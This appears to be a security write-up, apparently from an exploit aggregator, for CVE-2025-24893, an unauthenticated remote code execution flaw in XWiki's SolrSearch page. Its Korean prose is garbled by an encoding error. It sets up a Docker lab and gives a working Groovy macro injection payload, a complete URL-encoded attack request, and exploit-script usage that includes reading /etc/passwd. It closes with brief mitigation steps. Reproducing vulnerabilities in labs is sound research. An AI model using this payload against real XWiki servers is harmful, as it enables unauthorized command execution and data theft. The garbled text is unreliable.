Share
## https://sploitus.com/exploit?id=66C89009-DD0E-5D15-8E33-F504D3A60063
# XWiki SolrSearch Unauthenticated RCE (CVE-2025-24893)
---
### Contributors
- ํ์ดํธํ ์ค์ฟจ 4๊ธฐ 25๋ฐ [์๋์ฐ(@endusdksla)](https://github.com/endusdksla)
## ์์ฝ
- XWiki๋ ์ํค ๋ฌธ๋ฒ๊ณผ ๋งคํฌ๋ก๋ฅผ ์๋ฒ ์ธก์์ ํด์ํด ๋ ๋๋งํ๋ค. ๋ฌธ์ ๋ `Main.SolrSearch` ํ์ด์ง๊ฐ ๊ฒ์คํธ์๊ฒ ์ด๋ ค ์์ผ๋ฉด์๋, ์ฌ์ฉ์ ์
๋ ฅ์ธ `text` ํ๋ผ๋ฏธํฐ๋ฅผ ์ถฉ๋ถํ ๊ฒ์ฆ ์์ด XWiki ๋ฌธ๋ฒ์ผ๋ก ํ๊ฐํ๋ค๋ ์ ์ด๋ค.
- ๊ณต๊ฒฉ์๋ `text`์ `{{groovy}}` ๋งคํฌ๋ก๋ฅผ ์ฝ์
ํด ์๋ฒ์์ ์์์ Groovy ์ฝ๋๋ฅผ ์คํํ ์ ์๊ณ , `"command".execute()`๋ฅผ ํตํด ์ด์์ฒด์ ๋ช
๋ น๊น์ง ํธ์ถํ ์ ์๋ค. ์ด ์ทจ์ฝ์ ์ ๋ณ๋ ๋ก๊ทธ์ธ์ด๋ ํ ํฐ ์์ด ๋จ์ผ GET ์์ฒญ๋ง์ผ๋ก ์
์ฉ ๊ฐ๋ฅํ๋ค.
## ํ๊ฒฝ ๊ตฌ์ฑ
์ด ๋๋ ํ ๋ฆฌ๋ ๊ณต์ XWiki standalone ๋ฐฐํฌ๋ณธ `15.10.1`๊ณผ Java 17 ๋ฐํ์์ ์ฌ์ฉํด ์ทจ์ฝ ํ๊ฒฝ์ ๊ตฌ์ฑํ๋ค.
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| CVE | `CVE-2025-24893` |
| ์ ํ | XWiki Platform |
| ์ทจ์ฝ ๋ฒ์ | `>= 5.3-milestone-2, = 16.0.0-rc-1, Unauthenticated RCE |
| ์ธ์ฆ ํ์ ์ฌ๋ถ | ๋ถํ์ |
| ์ํฅ | ์๋ฒ ๋ช
๋ น ์คํ ๊ฐ๋ฅ |
## ์ทจ์ฝ ์กฐ๊ฑด
- XWiki ๋ฒ์ ์ด ํจ์น ์ด์ ๋ฒ์ ์ด์ด์ผ ํ๋ค.
- `Main.SolrSearch` ์๋ํฌ์ธํธ๊ฐ ๊ฒ์คํธ ์ ๊ทผ ๊ฐ๋ฅํด์ผ ํ๋ค.
- ์๋ฒ๊ฐ `text` ํ๋ผ๋ฏธํฐ๋ฅผ XWiki ๋ฌธ๋ฒ์ผ๋ก ํ๊ฐํ ์ ์์ด์ผ ํ๋ค.
- `groovy` ๋งคํฌ๋ก๊ฐ ์คํ ๊ฐ๋ฅํ ์ํ์ฌ์ผ ํ๋ค.
๋ณธ ํ๊ฒฝ์ XWiki `15.10.1`์ ์ฌ์ฉํ๋ฏ๋ก ์ ์กฐ๊ฑด์ ๋ง์กฑํ๋ค.
## ์ฌํ ์ ์ฐจ
```bash
docker compose up -d --build
```
์ด๊ธฐ ์คํ ์ ์๋ ์ค์น๊ฐ ์งํ๋๋ฏ๋ก ๋ช ๋ถ ์ ๋ ์์๋ ์ ์๋ค.(์์์๊ฐ์ ๋๋ต 6~7๋ถ)
```bash
docker compose ps
docker inspect -f '{{json .State.Health}}' xwiki-web
```
์ ๋ช
๋ น์ด์ ๊ฒฐ๊ณผ์์ `"Status":"healthy"` ์ํ๊ฐ ๋๋ฉด ํ๊ฒฝ ๊ตฌ์ฑ์ด ์๋ฃ๋์ด exploit ๊ฐ๋ฅํ ์ํ๊ฐ ๋๋ค.
```bash
pip install requests
```
exploit.py ์คํ ์ ์์กด์ฑ์ ์ค์นํ๋ค.
## PoC ์ฝ๋
ํต์ฌ ํ์ด๋ก๋๋ ์๋์ ๊ฐ๋ค.
```text
}}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}}
```
์ ํ์ด๋ก๋๋ `text` ํ๋ผ๋ฏธํฐ์ ์ฝ์
๋์ด `Main.SolrSearch` ํ์ด์ง์์ ํ๊ฐ๋๋ค. ๊ทธ ๊ฒฐ๊ณผ `println("id".execute().text)`๊ฐ ์๋ฒ์์ ์คํ๋๊ณ , ๋ช
๋ น ์คํ ๊ฒฐ๊ณผ๊ฐ RSS ์๋ต ๋ณธ๋ฌธ์ ๋ฐ์ฌ๋๋ค.
์ ์ฒด ์คํ ์คํฌ๋ฆฝํธ๋ [exploit.py](./exploit.py)๋ฅผ ์ฐธ๊ณ ํ๋ฉด ๋๋ค.
```bash
python3 exploit.py
```
์ ํ์ด์ฌ ์ฝ๋ ์คํ์ผ๋ก PoC ์ฌํ์ด ๊ฐ๋ฅํ๋ค. ๊ธฐ๋ณธ ๋ช
๋ น์ด๋ id์ด๋ค.
```bash
python3 exploit.py -c "cat /etc/passwd"
```
๋ค๋ฅธ ๋ช
๋ น ์คํ์ ์คํํ๋ ค๋ฉด ์์ ๊ฐ์ด ์ธ์๋ฅผ ๋๊ฒจ์ฃผ๋ฉด ๋๋ค.
ํน์ url๋ก ์์ฒญ์ ๋ณด๋ด๋ฉด ๋๋ค.(id๋ฅผ ์ถ๋ ฅํ๋ ํ์ด๋ก๋)
```text
http://localhost:1337/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
```
## ์คํ ๊ฒฐ๊ณผ

id๋ฅผ ์๋ต์ผ๋ก ๋ณด๋ด๋ ๋ชจ์ต

ํ์ฌ ๋๋ ํ ๋ฆฌ ํ์ผ ํ์ธ
## ๋์ ๋ฐฉ์
- XWiki๋ฅผ `15.10.11` ์ด์ ๋๋ `16.4.1` ์ด์์ผ๋ก ์
๋ฐ์ดํธํ๋ค.
- ์ธ๋ถ์ ๋
ธ์ถ๋ XWiki ์ธ์คํด์ค์ ๊ฒ์คํธ ์ ๊ทผ ์ ์ฑ
์ ์ ๊ฒํ๋ค.
- ๋ถํ์ํ ์คํฌ๋ฆฝํธ/๋งคํฌ๋ก ์คํ ๊ถํ์ ์ต์ํํ๋ค.
- ์์ฌ ์์ฒญ ๋ฐ `SolrSearch` ์ ๊ทผ ๋ก๊ทธ๋ฅผ ๋ชจ๋ํฐ๋งํ๋ค.
## reference
- NVD:
- GitHub Advisory: